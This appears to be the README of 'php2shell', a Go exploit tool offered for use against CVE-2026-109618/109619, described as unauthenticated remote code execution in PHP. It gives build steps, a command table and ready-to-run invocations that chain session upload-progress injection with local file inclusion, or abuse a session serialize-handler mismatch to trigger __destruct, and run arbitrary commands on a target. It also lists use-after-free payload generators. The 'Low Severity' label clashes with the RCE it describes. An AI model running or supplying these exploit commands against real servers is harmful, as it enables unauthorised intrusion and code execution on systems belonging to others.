Low Severity
CVE-2026-109618
Published: Nov 1, 2026
# CVE-2026-109618 / CVE-2026-109619 PHP PoC and exploit tool (single-file Go)
## php2shell
PHP unauthorized RCE PoC and EXP tool for CVE-2026-109618 / CVE-2026-109619.
The entire project consists of a single Go source file: `php2shell.go`.
- Uses only Go standard library
- Single binary after compilation, no runtime dependencies
- No need for Python, Docker, local web server, or any external files
- Does not include target environments, detection rules, or other scripts
> The tool itself does not start any service. The PHP service pointed to by `--target` is the test target.
## Build
Requires Go 1.22 or higher.
Pre-compiled binaries for Linux / Windows / macOS are available at [Releases](https://github.com/open0x01/php2shell/releases).
The project has no `go.mod`, so you must specify the source file name when building:
```bash
go build -o php2shell php2shell.go
```
Windows:
```powershell
go build -o php2shell.exe php2shell.go
```
You can also run directly:
```bash
go run php2shell.go help
```
Cross-compilation example:
```bash
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o php2shell-linux-amd64 php2shell.go
```
## Commands
| Command | Function |
|---------|----------|
| `exp lfi` | Session injection + LFI → RCE |
| `exp destruct` | Handler mismatch → `__destruct` → RCE |
| `poc session` | Verify session file injection |
| `poc mismatch` | Verify session handler mismatch |
| `poc oom` | Verify OOM bailout |
| `poc fpm` | Verify FPM cross-request residual `BG()` state |
| `payload uaf` | Output UAF → `var_dump` handler override payload |
| `payload asan` | Output ASan verification payload for var_destroy UAF |
| `payload list` | List built-in payloads |
| `version` | Output version |
| `help` | Output help |
All network commands support:
```text
--target http://HOST:PORT
```
Or:
```text
--host HOST --port PORT [--tls] [--insecure]
```
Use `php2shell <command> -h` to view all parameters for a specific command.
## Examples
### Session injection + LFI
```bash
php2shell exp lfi \
--target http://TARGET:8080 \
--command 'id'
```
When the target has `session.upload_progress.cleanup=On` enabled:
```bash
php2shell exp lfi \
--target http://TARGET:8080 \
--cleanup-on \
--command 'id'
```
Common parameters:
```text
--inject-path Any PHP endpoint that accepts POST, default /index.php
--lfi-path Path with LFI vulnerability, default /vuln.php
--session-path PHP session save path on target, default /tmp/sessions
```
### Handler mismatch
```bash
php2shell exp destruct \
--target http://TARGET:8080 \
--command 'id > /tmp/rce_proof.txt 2>&1'
```
Default paths and gadgets need to be adjusted for target environment:
```text
--pollute-path Endpoint that sets session.serialize_handler=php_serialize
--upload-path PHP endpoint for session injection
--trigger-path Endpoint that uses php handler and calls session_
```